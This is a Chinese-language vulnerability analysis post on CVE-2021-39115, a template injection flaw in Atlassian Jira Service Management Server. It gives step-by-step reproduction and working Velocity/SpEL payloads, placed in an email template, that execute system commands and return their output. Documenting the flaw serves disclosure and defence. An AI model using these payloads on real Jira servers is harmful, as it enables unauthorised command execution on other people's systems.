CVE-2021-39115-Atlassian Jira Service Management Server SSTI漏洞分析
且听安全 漏洞分析 4455浏览 · 2021-09-27 03:11

漏洞概述

Atlassian官方发布了一则漏洞通报

https://jira.atlassian.com/browse/JSDSERVER-8665

从描述中可以看出,该漏洞是一个服务端模板渲染漏洞,需要Jira Administrator权限,影响版本如下:

  • version < 4.13.9
  • 4.14.0 ≤ version < 4.18.0

漏洞复现

下载JiraService Management 4.17.1版本并安装 ,配置SMTP服务器。

使用管理员登录,进入system/EmailTemplates下载当前模板。

修改并替换header.vm文件。

$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())

进入System/SendEmail发送邮件。

选择邮件用户。

接受邮件,可以看到错误执行结果。

为标准的SPEL表达式注入,参考公开资料,注入命令执行载荷。

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

基于IOUtils实现回显。

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()

后记

这个漏洞是利用Email Templates功能点,基于Velocity模板引擎。通过补丁对比方法可以找到org.springframework.expression.spel.standard.SpelExpressionParser这个类,寻找loadComponents这个功能函数需要技巧。

参考

https://jira.atlassian.com/browse/JSDSERVER-8665

0 条评论
某人
表情
可输入 255
目录